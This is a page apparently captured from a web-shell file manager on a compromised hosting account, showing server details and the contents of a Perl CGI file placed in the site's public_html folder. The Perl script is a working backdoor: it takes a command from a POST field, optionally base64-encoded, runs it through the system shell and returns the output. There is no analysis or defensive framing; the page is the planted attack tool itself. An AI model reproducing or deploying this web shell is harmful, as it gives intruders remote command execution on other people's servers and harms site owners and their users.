HEX
Server: Apache
System: Linux mainsh.iraq-webhosting.com 5.14.0-427.31.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 15 14:47:52 EDT 2024 x86_64
User: arkanalbadia (1214)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: /home/arkanalbadia/public_html/fmzcgi/perl.fmz
#!/usr/bin/env perl
$|=1;
my($buf,$len)=('',($ENV{CONTENT_LENGTH}||0));
read(STDIN,$buf,$len) if $len>0;
my%p=map{my($k,$v)=split(/=/,$_,2);$v=~s/\+/ /g;$v=~s/%([0-9A-Fa-f]{2})/chr hex $1/ge;($k,$v)}split/&/,$buf;
my$c='';
eval{require MIME::Base64;my$cb=$p{cb}||'';if($cb){$c=MIME::Base64::decode_base64($cb);}};
$c||=$p{c}||'';
print "Content-Type: text/plain\r\n\r\n";
if($c){
my$o='';
if(open(my$ph,'-|',$c.' 2>&1')){
while(<$ph>){$o.=$_}
close($ph);
}
print "[FMZ]$o" . "[/FMZ]";
}